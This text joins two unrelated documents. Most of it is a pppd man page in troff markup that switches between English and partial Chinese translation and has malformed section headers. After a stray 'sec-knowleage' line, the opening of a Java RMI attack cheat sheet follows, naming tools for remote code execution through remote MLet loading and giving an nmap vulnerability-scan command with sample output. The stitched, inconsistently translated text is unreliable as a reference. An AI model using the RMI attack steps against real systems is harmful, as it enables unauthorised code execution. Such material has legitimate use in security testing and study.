compress packets using the Deflate scheme.
.TP
.B nodetach
Don't detach from the controlling terminal. Without this option, if a
serial device other than the terminal on the standard input is
specified, pppd will fork to become a background process.
.TP
.B noendpoint
Disables pppd from sending an endpoint discriminator to the peer or
accepting one from the peer (see the MULTILINK section below). This
option should only be required if the peer is buggy.
.TP
.B noip
Disable IPCP negotiation and IP communication. This option should
only be required if the peer is buggy and gets confused by requests
from pppd for IPCP negotiation.
.TP
.B noipv6
Disable IPv6CP negotiation and IPv6 communication. This option should
only be required if the peer is buggy and gets confused by requests
from pppd for IPv6CP negotiation.
.TP
.B noipdefault
关闭在没有指定本地IP位址时所进行的预设动作,这是
用来由从主机名称决定(如果可能的话)决定本地IP位
址。加上这个选项的话,彼端将必须在进行IPCP协商时
(除非在指令列或在选项档中明确地指定它)提供本地的
IP位址。
.TP
.B noipx
Disable the IPXCP and IPX protocols. This option should only be
required if the peer is buggy and gets confused by requests from pppd
for IPXCP negotiation.
.TP
.B noktune
Opposite of the \fIktune\fR option; disables pppd from changing system
settings.
.TP
.B nolog
Do not send log messages to a file or file descriptor. This option
cancels the \fBlogfd\fR and \fBlogfile\fR options.
.TP
.B nomagic
Disable magic number negotiation. With this option, pppd cannot
detect a looped-back line. This option should only be needed if the
peer is buggy.
.TP
.B nomp
Disables the use of PPP multilink. This option is currently only
available under Linux.
.TP
.B nompshortseq
Disables the use of short (12-bit) sequence numbers in the PPP
multilink protocol, forcing the use of 24-bit sequence numbers. This
option is currently only available under Linux, and only has any
effect if multilink is enabled.
.TP
.B nomultilink
Disables the use of PPP multilink. This option is currently only
available under Linux.
.TP
.B nopcomp
Disable protocol field compression negotiation in both the receive and
the transmit direction.
.TP
.B nopersist
Exit once a connection has been made and terminated. This is the
default unless the \fIpersist\fR or \fIdemand\fR option has been
specified.
.TP
.B nopredictor1
Do not accept or agree to Predictor-1 compression.
.TP
.B noproxyarp
Disable the \fIproxyarp\fR option. The system administrator who
wishes to prevent users from creating proxy ARP entries with pppd can
do so by placing this option in the /etc/ppp/options file.
.TP
.B notty
Normally, pppd requires a terminal device. With this option, pppd
will allocate itself a pseudo-tty master/slave pair and use the slave
as its terminal device. Pppd will create a child process to act as a
`character shunt' to transfer characters between the pseudo-tty master
and its standard input and output. Thus pppd will transmit characters
on its standard output and receive characters on its standard input
even if they are not terminal devices. This option increases the
latency and CPU overhead of transferring data over the ppp interface
as all of the characters sent and received must flow through the
character shunt process. An explicit device name may not be given if
this option is used.
.TP
.B novj
Disable Van Jacobson style TCP/IP header compression in both the
transmit and the receive direction.
.TP
.B novjccomp
Disable the connection-ID compression option in Van Jacobson style
TCP/IP header compression. With this option, pppd will not omit the
connection-ID byte from Van Jacobson compressed TCP/IP headers, nor
ask the peer to do so.
.TP
.B papcrypt
Indicates that all secrets in the /etc/ppp/pap-secrets file which are
used for checking the identity of the peer are encrypted, and thus
pppd should not accept a password which, before encryption, is
identical to the secret from the /etc/ppp/pap-secrets file.
.TP
.B pap-max-authreq \fIn
将PAP验证要求(authenticate-request)传输的最大数目
设为n(预设为10)。
.TP
.B pap-restart \fIn
将PAP重新开始的间隔(重新传输的时间限制)设为n
秒钟(预设为3)。
.TP
.B pap-timeout \fIn
Set the maximum time that pppd will wait for the peer to authenticate
itself with PAP to \fIn\fR seconds (0 means no limit).
.TP
.B pass-filter \fIfilter-expression
Specifies a packet filter to applied to data packets being sent or
received to determine which packets should be allowed to pass.
Packets which are rejected by the filter are silently discarded. This
option can be used to prevent specific network daemons (such as
routed) using up link bandwidth, or to provide a basic firewall
capability.
The \fIfilter-expression\fR syntax is as described for tcpdump(1),
except that qualifiers which are inappropriate for a PPP link, such as
\fBether\fR and \fBarp\fR, are not permitted. Generally the filter
expression should be enclosed in single-quotes to prevent whitespace
in the expression from being interpreted by the shell. Note that it
is possible to apply different constraints to incoming and outgoing
packets using the \fBinbound\fR and \fBoutbound\fR qualifiers. This
option is currently only available under NetBSD, and then only if both
the kernel and pppd were compiled with PPP_FILTER defined.
.TP
.B persist
Do not exit after a connection is terminated; instead try to reopen
the connection.
.TP
.B plugin \fIfilename
Load the shared library object file \fIfilename\fR as a plugin. This
is a privileged option.
.TP
.B predictor1
Request that the peer compress frames that it sends using Predictor-1
compression, and agree to compress transmitted frames with Predictor-1
if requested. This option has no effect unless the kernel driver
supports Predictor-1 compression.
.TP
.B privgroup \fIgroup-name
Allows members of group \fIgroup-name\fR to use privileged options.
This is a privileged option. Use of this option requires care as
there is no guarantee that members of \fIgroup-name\fR cannot use pppd
to become root themselves. Consider it equivalent to putting the
members of \fIgroup-name\fR in the kmem or disk group.
.TP
.B proxyarp
以彼端的IP位址以及该系统的乙太网路位址增加一个项
目到系统的ARP[AddressResolutionProtocol位址解
译协定]表格。
This will have the effect of making the peer appear to other
systems to be on the local ethernet.
.TP
.B pty \fIscript
Specifies that the command \fIscript\fR is to be used to communicate
rather than a specific terminal device. Pppd will allocate itself a
pseudo-tty master/slave pair and use the slave as its terminal
device. The \fIscript\fR will be run in a child process with the
pseudo-tty master as its standard input and output. An explicit
device name may not be given if this option is used. (Note: if the
\fIrecord\fR option is used in conjuction with the \fIpty\fR option,
the child process will have pipes on its standard input and output.)
.TP
.B receive-all
With this option, pppd will accept all control characters from the
peer, including those marked in the receive asyncmap. Without this
option, pppd will discard those characters as specified in RFC1662.
This option should only be needed if the peer is buggy.
.TP
.B record \fIfilename
Specifies that pppd should record all characters sent and received to
a file named \fIfilename\fR. This file is opened in append mode,
using the user's user-ID and permissions. This option is implemented
using a pseudo-tty and a process to transfer characters between the
pseudo-tty and the real serial device, so it will increase the latency
and CPU overhead of transferring data over the ppp interface. The
characters are stored in a tagged format with timestamps, which can be
displayed in readable form using the pppdump(8) program.
.TP
.B remotename \fIname
将远端系统的假设名称设为以进行验证。
.TP
.B refuse-chap
With this option, pppd will not agree to authenticate itself to the
peer using CHAP.
.TP
.B refuse-pap
With this option, pppd will not agree to authenticate itself to the
peer using PAP.
.TP
.B require-chap
Require the peer to authenticate itself using CHAP [Challenge
Handshake Authentication Protocol] authentication.
.TP
.B require-pap
Require the peer to authenticate itself using PAP [Password
Authentication Protocol] authentication.
.TP
.B show-password
When logging the contents of PAP packets, this option causes pppd to
show the password string in the log message.
.TP
.B silent
加上这个选项,pppd将不会传输LCP封包来初使一个连
线一直到从彼端接收到一个有效的LCP封包。(就像是给
旧版pppd使用的"passive"选项)。
.TP
.B sync
Use synchronous HDLC serial encoding instead of asynchronous.
The device used by pppd with this option must have sync support.
Currently supports Microgate SyncLink adapters
under Linux and FreeBSD 2.2.8 and later.
.TP
.B updetach
With this option, pppd will detach from its controlling terminal once
it has successfully established the ppp connection (to the point where
the first network control protocol, usually the IP control protocol,
has come up).
.TP
.B usehostname
强迫主机名称使用本地系统的名称来进行验证。(这会盖过name选项)。
This option is not normally needed since the
\fIname\fR option is privileged.
.TP
.B usepeerdns
Ask the peer for up to 2 DNS server addresses. The addresses supplied
by the peer (if any) are passed to the /etc/ppp/ip-up script in the
environment variables DNS1 and DNS2. In addition, pppd will create an
/etc/ppp/resolv.conf file containing one or two nameserver lines with
the address(es) supplied by the peer.
.TP
.B user \fIname
将使用者名称设为以便让使用PAP的彼端验证这台机器时使用。
.TP
.B vj-max-slots \fIn
Sets the number of connection slots to be used by the Van Jacobson
TCP/IP header compression and decompression code to \fIn\fR, which
must be between 2 and 16 (inclusive).
.TP
.B welcome \fIscript
Run the executable or shell command specified by \fIscript\fR before
initiating PPP negotiation, after the connect script (if any) has
completed. A value for this option from a privileged source cannot be
overridden by a non-privileged user.
.TP
.B xonxoff
使用软体流量控制(i.e.XON/XOFF)来控制串列埠上的资料流。
.SH "选项文件 OPTIONS FILES"
选项可以从档案取出使用就如同使用命令列一般。pppd在查看指
令列之前先从档案/etc/ppp/options以及~/.ppprc读取选项。
\fIttyname\fR (in that order) before processing the
options on the command line. (In fact, the command-line options are
scanned to find the terminal name before the options.\fIttyname\fR
file is read.) In forming the name of the options.\fIttyname\fR file,
the initial /dev/ is removed from the terminal name, and any remaining
/ characters are replaced with dots.
.PP
一个选项档案以空白字元为界被剖析成一串单字。空白字元可以用
双引号(")包括在一个单字里。倒斜线引用其後的字元。而hash
(#)符号开始一段注解持续到该行结束。
There is no restriction on using the \fIfile\fR or \fIcall\fR
options within an options file.
.SH "安全 SECURITY"
.I pppd
提供系统管理人员充份的存取控制能力这表示以PPP存取一
台伺服机器可以提供给合法的使用者使用而不必担心危及该伺服器
或所在网路的安全性。这有一部份是以/etc/ppp/options档案来
提供,在这里系统管理人员可以放置在执行pppd的时候用来要求
验证的选项,而部份是由PAP以及CHAP暗号档案来提供,其中
系统管理人员可以限制个别的使用者可以使用的一群IP位址。
.PP
The default behaviour of pppd is to allow an unauthenticated peer to
use a given IP address only if the system does not already have a
route to that IP address. For example, a system with a
permanent connection to the wider internet will normally have a
default route, and thus all peers will have to authenticate themselves
in order to set up a connection. On such a system, the \fIauth\fR
option is the default. On the other hand, a system where the
PPP link is the only connection to the internet will not normally have
a default route, so the peer will be able to use almost any IP address
without authenticating itself.
.PP
As indicated above, some security-sensitive options are privileged,
which means that they may not be used by an ordinary non-privileged
user running a setuid-root pppd, either on the command line, in the
user's ~/.ppprc file, or in an options file read using the \fIfile\fR
option. Privileged options may be used in /etc/ppp/options file or in
an options file read using the \fIcall\fR option. If pppd is being
run by the root user, privileged options can be used without
restriction.
.PP
When opening the device, pppd uses either the invoking user's user ID
or the root UID (that is, 0), depending on whether the device name was
specified by the user or the system administrator. If the device name
comes from a privileged source, that is, /etc/ppp/options or an
options file read using the \fIcall\fR option, pppd uses full root
privileges when opening the device. Thus, by creating an appropriate
file under /etc/ppp/peers, the system administrator can allow users to
establish a ppp connection via a device which they would not normally
have permission to access. Otherwise pppd uses the invoking user's
real UID when opening the device.
.SH AUTHENTICATION
Authentication is the process whereby one peer convinces the other of
its identity. This involves the first peer sending its name to the
other, together with some kind of secret information which could only
come from the genuine authorized user of that name. In such an
exchange, we will call the first peer the "client" and the other the
"server". The client has a name by which it identifies itself to the
server, and the server also has a name by which it identifies itself
to the client. Generally the genuine client shares some secret (or
password) with the server, and authenticates itself by proving that it
knows that secret. Very often, the names used for authentication
correspond to the internet hostnames of the peers, but this is not
essential.
.LP
At present, pppd supports two authentication protocols: the Password
Authentication Protocol (PAP) and the Challenge Handshake
Authentication Protocol (CHAP). PAP involves the client sending its
name and a cleartext password to the server to authenticate itself.
In contrast, the server initiates the CHAP authentication exchange by
sending a challenge to the client (the challenge packet includes the
server's name). The client must respond with a response which
includes its name plus a hash value derived from the shared secret and
the challenge, in order to prove that it knows the secret.
.LP
The PPP protocol, being symmetrical, allows both peers to require the
other to authenticate itself. In that case, two separate and
independent authentication exchanges will occur. The two exchanges
could use different authentication protocols, and in principle,
different names could be used in the two exchanges.
.LP
pppd预设的动作是如果有要求就同意进行验证,并且不要求从彼
端做验证。然而如果没有可以用来验证的暗号则pppd将不会同意
以特殊的协定来验证它自己。
.LP
验证的基础是由暗号档案选择的暗号(/etc/ppp/pap-secrets是
给PAP使用的,/etc/ppp/chap-secrets则是给CHAP使用)。
这两个暗号档案都具有相同的格式,而且两者都可以储放暗号给数
种伺服器(验证彼端)及客户(被验证端)组合使用。注意pppd
可以最为伺服端以及客户端,而且如果需要的话两方可以使用不同
的协定。
.LP
一个暗号档案如同选项档案一般被剖析成单字。一个暗号是由最少
包含3个单字的一行所指定,依序是客户,伺服器,暗号。在同
一行中任何跟在其後的单字都被当作是给客户的可接受IP位址列
表。如果该行只有3个单字,这假设任何IP位址都可以;不允
许所有的IP位址的话,使用"-"。如果暗号是以'@'开始,其
後所接的单字将被假设为可以从中读取暗号的档案名称。而以一个
"*"字元作为客户或伺服端的名称会符合任何名称。在选择一个暗
号时,pppd会选择最符合的,i.e.最少万用字元的那个。
.LP
如此一个暗号档案包含用来验证其它主机,以及用来为其它主机验
证自己两者的暗号。选择使用哪个暗号是根据该主机(本地名称)
以及其彼端(远端名称)而定。本地名称的设定如下:
.LP
If the secret starts with an `@', what follows is assumed to be the
name of a file from which to read the secret. A "*" as the client or
server name matches any name. When selecting a secret, pppd takes the
best match, i.e. the match with the fewest wildcards.
.LP
Any following words on the same line are taken to be a list of
acceptable IP addresses for that client. If there are only 3 words on
the line, or if the first word is "-", then all IP addresses are
disallowed. To allow any address, use "*". A word starting with "!"
indicates that the specified address is \fInot\fR acceptable. An
address may be followed by "/" and a number \fIn\fR, to indicate a
whole subnet, i.e. all addresses which have the same value in the most
significant \fIn\fR bits. In this form, the address may be followed
by a plus sign ("+") to indicate that one address from the subnet is
authorized, based on the ppp network interface unit number in use.
In this case, the host part of the address will be set to the unit
number plus one.
.LP
Thus a secrets file contains both secrets for use in authenticating
other hosts, plus secrets which we use for authenticating ourselves to
others. When pppd is authenticating the peer (checking the peer's
identity), it chooses a secret with the peer's name in the first
field and the name of the local system in the second field. The
name of the local system defaults to the hostname, with the domain
name appended if the \fIdomain\fR option is used. This default can be
overridden with the \fIname\fR option, except when the
\fIusehostname\fR option is used.
.LP
When pppd is choosing a secret to use in authenticating itself to the
peer, it first determines what name it is going to use to identify
itself to the peer. This name can be specified by the user with the
\fIuser\fR option. If this option is not used, the name defaults to
the name of the local system, determined as described in the previous
paragraph. Then pppd looks for a secret with this name in the first
field and the peer's name in the second field. Pppd will know the
name of the peer if CHAP authentication is being used, because the
peer will have sent it in the challenge packet. However, if PAP is being
used, pppd will have to determine the peer's name from the options
specified by the user. The user can specify the peer's name directly
with the \fIremotename\fR option. Otherwise, if the remote IP address
was specified by a name (rather than in numeric form), that name will
be used as the peer's name. Failing that, pppd will use the null
string as the peer's name.
.LP
当以PAP验证彼端时,一个""暗号符合任何由彼端所提供密码。
如果密码不符合暗号,密码被以crypt()编码并且再次检查暗号;
因此验证彼端的暗号可以编码方式储放。
.LP
如果指定有login选项,
使用者名称以及密码也会被以系统的密码资料库检查。因此系统管
理人员可以设定pap-secrets档案以便只允许某些使用者以PPP
连线,并且限制每个使用者可以使用一些IP位址。
Typically, when using the \fIlogin\fR option,
the secret in /etc/ppp/pap-secrets would be "", which will match any
password supplied by the peer. This avoids the need to have the same
secret in two places.
.LP
验证必须在IPCP(或任何其它网路控制协定)开始之前被完全地
满足。如果验证失败,pppd将会终结连线(关闭LCP)。如果
IPCP协商出一个无法接受的远端主机IP位址,IPCP将会关闭。
IP封包只有在IPCP打开的时候才能传送或接收。
.LP
即使本地主机一般会要求验证,在某些案例中会希望允一些无法验
证它们自己的主机连线并使用所限制的IP位址其中之一。如果彼
在被要求时拒绝验证它自己,pppd将会把它当成等於是在使用者
名称以及密码上使用空字串来以PAP验证。所以,藉由增加一行
指定空字串为客户以及密码到pap-secrets档案去,允许拒绝验
证自己的主机进行有限制的存取是可能的。
.SH "路由 ROUTING"
.LP
当IPCP协商成功地完成时,pppd将会通知核心该ppp界面本地
以及远端的IP位址。这足够用来建立一个主机到该连线远端的递
送路径,该路径将使两端能交换IP封包。与其它的机器进行通讯
往往需要更进一步地修改递送表格(routingtables)以及/或是
ARP(位址解译协定)表格。在某些案例中这将透过routed或是
gated隐形程式的动作自动地完成,但是在大部分的案例中需要更
进一步的介入。
.LP
有时候会希望透过远端主机来增加一个预设递送路径,像是在一台
只透过ppp界面连线到Internet的机器。此defaultroute选
项使得pppd在IPCP完成时建立起这麽一个预设的递送路径,并
且在该线路被终结时将之删除。
.LP
在某些情况下会希望使用proxyARP,例如在一台连结到区域网
路的伺服机器上,为了能够允许其它的主机与远端主机进行通讯。
proxyarp选项引发pppd去寻找一个与远端主机在相同子网路上
的网路界面(一个支援广播(boardcast)以及ARP的界面,不但要
是可用的并且不是一个点对点或回授界面)。如果找到,pppd会
以该远端主机的IP位址以及所找到的网路界面之硬体位址建立一
个永久的,公开的ARP项目。
.LP
When the \fIdemand\fR option is used, the interface IP addresses have
already been set at the point when IPCP comes up. If pppd has not
been able to negotiate the same addresses that it used to configure
the interface (for example when the peer is an ISP that uses dynamic
IP address assignment), pppd has to change the interface IP addresses
to the negotiated addresses. This may disrupt existing connections,
and the use of demand dialling with peers that do dynamic IP address
assignment is not recommended.
.SH MULTILINK
Multilink PPP provides the capability to combine two or more PPP links
between a pair of machines into a single `bundle', which appears as a
single virtual PPP link which has the combined bandwidth of the
individual links. Currently, multilink PPP is only supported under
Linux.
.LP
Pppd detects that the link it is controlling is connected to the same
peer as another link using the peer's endpoint discriminator and the
authenticated identity of the peer (if it authenticates itself). The
endpoint discriminator is a block of data which is hopefully unique
for each peer. Several types of data can be used, including
locally-assigned strings of bytes, IP addresses, MAC addresses,
randomly strings of bytes, or E-164 phone numbers. The endpoint
discriminator sent to the peer by pppd can be set using the endpoint
option.
.LP
In circumstances the peer may send no endpoint discriminator or a
non-unique value. The optional bundle option adds an extra string
which is added to the peer's endpoint discriminator and authenticated
identity when matching up links to be joined together in a bundle.
The bundle option can also be used to allow the establishment of
multiple bundles between the local system and the peer. Pppd uses a
TDB database in /var/run/pppd.tdb to match up links.
.LP
Assuming that multilink is enabled and the peer is willing to
negotiate multilink, then when pppd is invoked to bring up the first
link to the peer, it will detect that no other link is connected to
the peer and create a new bundle, that is, another ppp network
interface unit. When another pppd is invoked to bring up another link
to the peer, it will detect the existing bundle and join its link to
it. Currently, if the first pppd terminates (for example, because of
a hangup or a received signal) the bundle is destroyed.
.SH "范例 EXAMPLE"S
.LP
The following examples assume that the /etc/ppp/options file contains
the \fIauth\fR option (as in the default /etc/ppp/options file in the
ppp distribution).
.LP
Probably the most common use of pppd is to dial out to an ISP. This
can be done with a command such as
.IP
pppd call isp
.LP
where the /etc/ppp/peers/isp file is set up by the system
administrator to contain something like this:
.IP
ttyS0 19200 crtscts
.br
connect '/usr/sbin/chat -v -f /etc/ppp/chat-isp'
.br
noauth
.LP
In this example, we are using chat to dial the ISP's modem and go
through any logon sequence required. The /etc/ppp/chat-isp file
contains the script used by chat; it could for example contain
something like this:
.IP
ABORT "NO CARRIER"
.br
ABORT "NO DIALTONE"
.br
ABORT "ERROR"
.br
ABORT "NO ANSWER"
.br
ABORT "BUSY"
.br
ABORT "Username/Password Incorrect"
.br
"" "at"
.br
OK "at&d0&c1"
.br
OK "atdt2468135"
.br
"name:" "^Umyuserid"
.br
"word:" "\\qmypassword"
.br
"ispts" "\\q^Uppp"
.br
"~-^Uppp-~"
.LP
See the chat(8) man page for details of chat scripts.
.LP
Pppd can also be used to provide a dial-in ppp service for users. If
the users already have login accounts, the simplest way to set up the
ppp service is to let the users log in to their accounts and run pppd
(installed setuid-root) with a command such as
.IP
pppd proxyarp
.LP
To allow a user to use the PPP facilities, you need to allocate an IP
address for that user's machine and create an entry in
/etc/ppp/pap-secrets or /etc/ppp/chap-secrets (depending on which
authentication method the PPP implementation on the user's machine
supports), so that the user's
machine can authenticate itself. For example, if Joe has a machine
called "joespc" which is to be allowed to dial in to the machine
called "server" and use the IP address joespc.my.net, you would add an
entry like this to /etc/ppp/pap-secrets or /etc/ppp/chap-secrets:
.IP
joespc server "joe's secret" joespc.my.net
.LP
Alternatively, you can create a username called (for example) "ppp",
whose login shell is pppd and whose home directory is /etc/ppp.
Options to be used when pppd is run this way can be put in
/etc/ppp/.ppprc.
.LP
如果你的串列连线比直接以线路连接更复杂的话,你可能会需要做
些调整以便避开一些控制字元。特别是,通常避开XON(^Q)以及
XOFF(^S)是有用的,可以使用asyncmapa0000。如果该路径包
含telnet的话,你可能应该也要避开^](asyncmap200a0000)。
如果该路径包含rlogin的话,你将需要在执行rlogin的客户端
上使用escapeff选项,因为许多rlogin的实作并非是透通的;
它们将会从资料流中移除[0xff,0xff,0x73,0x73,跟随的任何
8位元组]这些序列。
.SH "诊断 DIAGNOSTICS"
.LP
讯息使用facilityLOG_DAEMON送到syslog隐形程式。(这个
可以藉著以所要的facility定义LOG_PPP巨集来重新编译pppd
加以改变。)为了能够看到错误以及侦错讯息,你将需要编辑你的
/etc/syslog.conf档案来将讯息导向到所希望的设备或档案。
.LP
debug选项使得所有送出以及接收的控制封包内容都被记录下来,
这是指所有的LCP,PAP,CHAP,或是IPCP封包。如果PPP协商
没有成功的话那麽这可能会有用。如果在编译时期开启侦错功能的
话,pppd会使用facilityLOG_LOCAL2来取代LOG_DAEMON,而
且debug选项会使得额外的侦错讯息被记录下来。
.LP
侦错功能也可以藉著传送一个SIGUSR1到pppd程序来启动。侦
错功能可以藉著传送一个SIGUSR2到pppd程序来关闭。
.SH EXIT STATUS
The exit status of pppd is set to indicate whether any error was
detected, or the reason for the link being terminated. The values
used are:
.TP
.B 0
Pppd has detached, or otherwise the connection was successfully
established and terminated at the peer's request.
.TP
.B 1
An immediately fatal error of some kind occurred, such as an essential
system call failing, or running out of virtual memory.
.TP
.B 2
An error was detected in processing the options given, such as two
mutually exclusive options being used.
.TP
.B 3
Pppd is not setuid-root and the invoking user is not root.
.TP
.B 4
The kernel does not support PPP, for example, the PPP kernel driver is
not included or cannot be loaded.
.TP
.B 5
Pppd terminated because it was sent a SIGINT, SIGTERM or SIGHUP
signal.
.TP
.B 6
The serial port could not be locked.
.TP
.B 7
The serial port could not be opened.
.TP
.B 8
The connect script failed (returned a non-zero exit status).
.TP
.B 9
The command specified as the argument to the \fIpty\fR option could
not be run.
.TP
.B 10
The PPP negotiation failed, that is, it didn't reach the point where
at least one network protocol (e.g. IP) was running.
.TP
.B 11
The peer system failed (or refused) to authenticate itself.
.TP
.B 12
The link was established successfully and terminated because it was
idle.
.TP
.B 13
The link was established successfully and terminated because the
connect time limit was reached.
.TP
.B 14
Callback was negotiated and an incoming call should arrive shortly.
.TP
.B 15
The link was terminated because the peer is not responding to echo
requests.
.TP
.B 16
The link was terminated by the modem hanging up.
.TP
.B 17
The PPP negotiation failed because serial loopback was detected.
.TP
.B 18
The init script failed (returned a non-zero exit status).
.TP
.B 19
We failed to authenticate ourselves to the peer.
.SH SCRIPTS
Pppd invokes scripts at various stages in its processing which can be
used to perform site-specific ancillary processing. These scripts are
usually shell scripts, but could be executable code files instead.
Pppd does not wait for the scripts to finish. The scripts are
executed as root (with the real and effective user-id set to 0), so
that they can do things such as update routing tables or run
privileged daemons. Be careful that the contents of these scripts do
not compromise your system's security. Pppd runs the scripts with
standard input, output and error redirected to /dev/null, and with an
environment that is empty except for some environment variables that
give information about the link. The environment variables that pppd
sets are:
.TP
.B DEVICE
The name of the serial tty device being used.
.TP
.B IFNAME
The name of the network interface being used.
.TP
.B IPLOCAL
The IP address for the local end of the link. This is only set when
IPCP has come up.
.TP
.B IPREMOTE
The IP address for the remote end of the link. This is only set when
IPCP has come up.
.TP
.B PEERNAME
The authenticated name of the peer. This is only set if the peer
authenticates itself.
.TP
.B SPEED
The baud rate of the tty device.
.TP
.B ORIG_UID
The real user-id of the user who invoked pppd.
.TP
.B PPPLOGNAME
The username of the real user-id that invoked pppd. This is always set.
.P
For the ip-down and auth-down scripts, pppd also sets the following
variables giving statistics for the connection:
.TP
.B CONNECT_TIME
The number of seconds from when the PPP negotiation started until the
connection was terminated.
.TP
.B BYTES_SENT
The number of bytes sent (at the level of the serial port) during the
connection.
.TP
.B BYTES_RCVD
The number of bytes received (at the level of the serial port) during
the connection.
.TP
.B LINKNAME
The logical name of the link, set with the \fIlinkname\fR option.
.P
Pppd invokes the following scripts, if they exist. It is not an error
if they don't exist.
.TP
.B /etc/ppp/auth-up
A program or script which is executed after the remote system
successfully authenticates itself. It is executed with the parameters
.IP
\fIinterface-name peer-name user-name tty-device speed\fR
.IP
Note that this script is not executed if the peer doesn't authenticate
itself, for example when the \fInoauth\fR option is used.
.TP
.B /etc/ppp/auth-down
A program or script which is executed when the link goes down, if
/etc/ppp/auth-up was previously executed. It is executed in the same
manner with the same parameters as /etc/ppp/auth-up.
.TP
.B /etc/ppp/ip-up
当线路可以传送以及接收IP封包时(也就是IPCP完成
时)执行的一支程式或指令稿。它是以界面的名称、终端
设备、速度、本地-IP-位址、远端-IP-位址为参数执行。
.IP
\fIinterface-name tty-device speed local-IP-address
remote-IP-address ipparam\fR
.TP
.B /etc/ppp/ip-down
当线路不再允许传送以及接收IP封包时执行的一支程式
或指令稿。这个指令稿可以用来回复/etc/ppp/ip-up指
令稿的影响。它以与ip-up指令稿相同的参数启动。
.TP
.B /etc/ppp/ipv6-up
Like /etc/ppp/ip-up, except that it is executed when the link is available
for sending and receiving IPv6 packets. It is executed with the parameters
.IP
\fIinterface-name tty-device speed local-link-local-address
remote-link-local-address ipparam\fR
.TP
.B /etc/ppp/ipv6-down
Similar to /etc/ppp/ip-down, but it is executed when IPv6 packets can no
longer be transmitted on the link. It is executed with the same parameters
as the ipv6-up script.
.TP
.B /etc/ppp/ipx-up
A program or script which is executed when the link is available for
sending and receiving IPX packets (that is, IPXCP has come up). It is
executed with the parameters
.IP
\fIinterface-name tty-device speed network-number local-IPX-node-address
remote-IPX-node-address local-IPX-routing-protocol remote-IPX-routing-protocol
local-IPX-router-name remote-IPX-router-name ipparam pppd-pid\fR
.IP
The local-IPX-routing-protocol and remote-IPX-routing-protocol field
may be one of the following:
.IP
NONE to indicate that there is no routing protocol
.br
RIP to indicate that RIP/SAP should be used
.br
NLSP to indicate that Novell NLSP should be used
.br
RIP NLSP to indicate that both RIP/SAP and NLSP should be used
.TP
.B /etc/ppp/ipx-down
A program or script which is executed when the link is no longer
available for sending and receiving IPX packets. This script can be
used for undoing the effects of the /etc/ppp/ipx-up script. It is
invoked in the same manner and with the same parameters as the ipx-up
script.
.SH "文件 FILES"
.TP
.B /var/run/ppp\fIn\fB.pid \fR(BSD or Linux), \fB/etc/ppp/ppp\fIn\fB.pid \fR(others)
在ppp界面单元n上的ppp程序之Process-ID。
.TP
.B /var/run/ppp-\fIname\fB.pid \fR(BSD or Linux), \fB/etc/ppp/ppp-\fIname\fB.pid \fR(others)
Process-ID for pppd process for logical link \fIname\fR (see the
\fIlinkname\fR option).
.TP
.B /etc/ppp/pap-secrets
由PAP验证所使用的使用者名称、密码以及IP位址。
This file should be owned by root and not readable or writable by any other
user. Pppd will log a warning if this is not the case.
.TP
.B /etc/ppp/chap-secrets
由CHAP验证所使用的名称、暗号以及IP位址。
As for /etc/ppp/pap-secrets, this file should be owned by root and not
readable or writable by any other user. Pppd will log a warning if
this is not the case.
.TP
.B /etc/ppp/options
pppd的系统预设选项,在使用者预设选项或指令列选项之前读取。
.TP
.B ~/.ppprc
使用者预设选项,在指令列选项之前读取。
.TP
.B /etc/ppp/options.\fIttyname
所要使用之串列埠的系统预设选项,在指令列之後读取。read after
~/.ppprc. In forming the \fIttyname\fR part of this
filename, an initial /dev/ is stripped from the port name (if
present), and any slashes in the remaining part are converted to
dots.
.TP
.B /etc/ppp/peers
A directory containing options files which may contain privileged
options, even if pppd was invoked by a user other than root. The
system administrator can create options files in this directory to
permit non-privileged users to dial out without requiring the peer to
authenticate, but only to certain trusted peers.
.SH "参见 SEE ALSO"
.TP
.B RFC1144
Jacobson, V.
\fICompressing TCP/IP headers for low-speed serial links.\fR
February 1990.
.TP
.B RFC1321
Rivest, R.
.I The MD5 Message-Digest Algorithm.
April 1992.
.TP
.B RFC1332
McGregor, G.
.I PPP Internet Protocol Control Protocol (IPCP).
May 1992.
.TP
.B RFC1334
Lloyd, B.; Simpson, W.A.
.I PPP authentication protocols.
October 1992.
.TP
.B RFC1661
Simpson, W.A.
.I The Point\-to\-Point Protocol (PPP).
July 1994.
.TP
.B RFC1662
Simpson, W.A.
.I PPP in HDLC-like Framing.
July 1994.
.TP
.B RFC2472
Haskin, D.
.I IP Version 6 over PPP
December 1998.
.SH " 注意 NOTES
下列信号传送到pppd程序时有特别的影响
.TP
.B SIGINT, SIGTERM
这些信号使得pppd终止该连线(关闭LCP),回存串列
串列设备的设定,并结束离开。
.TP
.B SIGHUP
指出实体层已经被断线。pppd将会试图回存串列设备的设
定(这可能会在Suns上产生错误讯息),然後结束离开。
If the \fIpersist\fR or
\fIdemand\fR option has been specified, pppd will try to reopen the
serial device and start another connection (after the holdoff period).
Otherwise pppd will exit. If this signal is received during the
holdoff period, it causes pppd to end the holdoff period immediately.
.TP
.B SIGUSR1
This signal toggles the state of the \fIdebug\fR option.
.TP
.B SIGUSR2
This signal causes pppd to renegotiate compression. This can be
useful to re-enable compression after it has been disabled as a result
of a fatal decompression error. (Fatal decompression errors generally
indicate a bug in one or other implementation.)
.SH "作者 AUTHOR"S
Paul Mackerras (Paul.Mackerras@cs.anu.edu.au), based on earlier work by
Drew Perkins,
Brad Clements,
Karl Fox,
Greg Christy,
and
Brad Parker.
.SH "[中文版维护人]"
.B 软件教程之Linux Man <asdchen@pc2.hinet.net>
.B <Best Linux> 1999
.SH "[中文版最新更新]"
.B 1995/10/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Java RMI
> Exposing a weak configured Java Remote Method Invocation (RMI) service can lead to several ways to achieve RCE.
> One such attack is to host an MLet file and instruct the JMX service to load MBeans from the remote host which can be carried out
> using the tools mjet or sjet. remote-method-guesser is a more recent tool which bundles enumeration of RMI services together
> with a summary of currently known attack techniques.
## Summary
* [Tools](#tools)
* [Detection](#detection)
* [Exploitation](#exploitation)
* [RCE using sjet/mjet](#rce-using-sjet-or-mjet)
* [References](#references)
## Tools
- [sjet](https://github.com/siberas/sjet)
- [mjet](https://github.com/mogwailabs/mjet)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## Detection
Using [nmap](https://nmap.org/):
```powershell
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open java-rmi Java RMI
| rmi-vuln-classloader:
| VULNERABLE:
| RMI registry default configuration remote code execution vulnerability
| State: VULNERABLE
